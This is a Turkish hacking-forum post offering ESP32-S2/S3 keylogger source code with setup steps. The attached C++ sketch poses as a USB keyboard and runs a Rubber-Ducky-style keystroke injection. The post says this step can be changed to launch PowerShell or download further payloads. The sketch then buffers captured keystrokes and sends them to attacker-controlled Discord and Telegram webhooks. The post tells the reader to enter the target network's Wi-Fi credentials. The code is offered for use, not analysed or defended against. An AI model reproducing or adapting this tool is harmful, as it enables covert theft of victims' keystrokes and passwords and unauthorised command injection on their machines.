antik arşivde bulduğum keylogger source kod

ölmedim geri döndüm kaldığımız yerden devam
Süper Üye
Katılım
6 Eki 2019
Mesajlar
752
Çözümler
19
Tepki puanı
156
Ödüller
6
Sosyal
6 HİZMET YILI
Donanım Gereksinimleri:

ESP32-S2 veya ESP32-S3: Standart ESP32 modellerinde yerleşik (native) USB desteği bulunmaz. Klavye gibi bir cihaz olarak işlev görmesi için mutlaka bir S2 veya S3 kartı kullanmalısınız. Veri Kablosu: ESP32'yi karşı bilgisayara bağlamak için (sadece şarj eden değil) veri aktarımı yapabilen bir USB kablosu gereklidir. [/

Yazılım Kurulumu (Arduino IDE):

  • ESP32 Kart Yöneticisini Kurun: Dosya > Tercihler (File > Preferences) bölümüne gidin ve Espressif kart yöneticisi URL'sini ekleyin. Ardından Araçlar > Kart > Kart Yöneticisi (Tools > Board > Boards Manager) menüsüne giderek ESP32 paketini yükleyin. Kartı Seçin: Araçlar > Kart menüsünden kendi ESP32-S2 veya S3 kart modelinizi seçin. USB Özelliklerini Etkinleştirin: Bu adım önemli. Araçlar (Tools) menüsü altından, kullandığınız karta uygun USB ayarlarını doğru şekilde yapmalısınız. Şu tarz seçenekleri arayın:
    USB Mode: "Hardware CDC and JTAG" veya "USB-OTG" olarak ayarlayın. USB CDC On Boot: HID işlevinin yanında Seri (Serial) hata ayıklamaya da ihtiyacınız varsa "Enabled" olarak ayarlayın.
.ino Dosyası: Daha önce sağlanan kod ana taslağınızdır (sketch). Bu kodu IDE'ye yapıştırın ve kaydedin.

Yapılandırma Değişkenleri (Kurulum): Derleme işleminden önce, .ino dosyasının en üstünde yer alan değişkenleri değiştirmeniz gerekir:

  • ssid & password: Hedef ortamın Wi-Fi kimlik bilgileri (veya kontrol ettiğiniz ağ bilgileri). Bunlar olmadan webhook'lar çalışmayacaktır. discordWebhookUrl: Discord sunucunuzun entegrasyon ayarlarından oluşturulan tam URL.
  • telegramBotToken & telegramChatId: Telegram'daki BotFather aracılığıyla oluşturulan bilgiler.

Program Nasıl Çalışır?

  • Başlatma (Initialization): Önyükleme (boot) esnasında ESP32, belirtilen Wi-Fi ağına bağlanmaya çalışır. Ayrıca USBHIDKeyboard kütüphanesini başlatarak kendisini ana bilgisayara standart bir klavye olarak kaydeder.
    'Rubber Ducky' Aşaması (executeInitialPayload): Bağlantı kurulduğunda (veya belirli bir zaman aşımından sonra), önceden programlanmış bir tuş vuruşu dizisini tetikler. Verilen örnekte Notepad (Not Defteri) açılıp bir mesaj yazılmaktadır; ancak bu Keyboard.print() ve Keyboard.press() komutlarını PowerShell betikleri çalıştırmak, terminalleri açmak veya ikincil yükleri indirmek için değiştirebilirsiniz.
    'Keylogger/Sızdırma (Exfiltration)' Aşaması (loop): Gerçek bir donanımsal keylogger kurulumunda ESP32, USB Host pinlerine takılı fiziksel bir klavyeden verileri okuyarak bir aracı görevi görür. Sağlanan kod, Seri (Serial) porttan gelen verileri bir tuş vuruşu arabelleğine (keystrokeBuffer) okuyarak bu durumu simüle eder.

    Veri Gönderimi (The Drop): keystrokeBuffer değişkeni BUFFER_MAX sınırına ulaştığında (örnekte 100 karakter olarak ayarlanmıştır), ESP32 veriyi JSON formatına dönüştürür ve Discord ile Telegram webhook'larınıza POST istekleri gönderir.


C++:
#include <WiFi.h>
#include <HTTPClient.h>
#include <USB.h>
#include <USBHIDKeyboard.h>
// Note: Email support usually requires an SMTP library like ESP-Mail-Client
// #include <ESP_Mail_Client.h>

// --- Configuration ---
const char* ssid = "YOUR_WIFI_SSID";
const char* password = "YOUR_WIFI_PASSWORD";

// Webhooks
const char* discordWebhookUrl = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN";
const char* telegramBotToken = "YOUR_TELEGRAM_BOT_TOKEN";
const char* telegramChatId = "YOUR_CHAT_ID";

// USB HID for Ducky
USBHIDKeyboard Keyboard;

// Buffer for the Keylogger
String keystrokeBuffer = "";
const int BUFFER_MAX = 100; // Send when buffer hits this length

void setup() {
  Serial.begin(115200);
 
  // Initialize USB HID
  Keyboard.begin();
  USB.begin();

  // Connect to WiFi (crucial for webhooks)
  WiFi.begin(ssid, password);
  int attempts = 0;
  while (WiFi.status() != WL_CONNECTED && attempts < 20) {
    delay(500);
    attempts++;
  }

  // If connected, execute the initial Ducky Payload
  if (WiFi.status() == WL_CONNECTED) {
     delay(2000); // Give OS time to mount USB
     executeInitialPayload();
  }
}

void loop() {
  // In a real hardware keylogger, you'd read from a USB Host port or PS/2 pins here.
  // For this code, we simulate reading logged keys from the Serial port.
  if (Serial.available() > 0) {
    char c = Serial.read();
    keystrokeBuffer += c;

    // If buffer is full, exfiltrate
    if (keystrokeBuffer.length() >= BUFFER_MAX) {
       if (WiFi.status() == WL_CONNECTED) {
          sendToDiscord(keystrokeBuffer);
          sendToTelegram(keystrokeBuffer);
          // sendEmail(keystrokeBuffer); // Requires SMTP setup
       }
       keystrokeBuffer = ""; // Clear buffer after sending
    }
  }
}

// --- Ducky Injection ---
void executeInitialPayload() {
  // Example: Open Notepad (Windows)
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("notepad");
  Keyboard.write(KEY_RETURN);
  delay(1000);
  Keyboard.print("System compromised. Logging started.");
  Keyboard.write(KEY_RETURN);
}

// --- Exfiltration ---

void sendToDiscord(String data) {
  HTTPClient http;
  http.begin(discordWebhookUrl);
  http.addHeader("Content-Type", "application/json");

  String jsonPayload = "{\"content\": \"**Captured Data:**\\n```" + data + "```\"}";
 
  int httpResponseCode = http.POST(jsonPayload);
  http.end();
}

void sendToTelegram(String data) {
  HTTPClient http;
  String url = String("https://api.telegram.org/bot") + telegramBotToken + "/sendMessage";
  http.begin(url);
  http.addHeader("Content-Type", "application/json");

  String jsonPayload = "{\"chat_id\": \"" + String(telegramChatId) + "\", \"text\": \"Captured Data:\\n" + data + "\"}";
 
  int httpResponseCode = http.POST(jsonPayload);
  http.end();
}

/*
// Requires ESP-Mail-Client library
void sendEmail(String data) {
  SMTPSession smtp;
  ESP_Mail_Session session;
  // ... Configure SMTP host, port, login, password ...
  SMTP_Message message;
  // ... Configure sender, recipient, subject, textMsg ...
  message.text.content = data.c_str();
  // MailClient.sendMail(&smtp, &message);
}
*/
 
Üst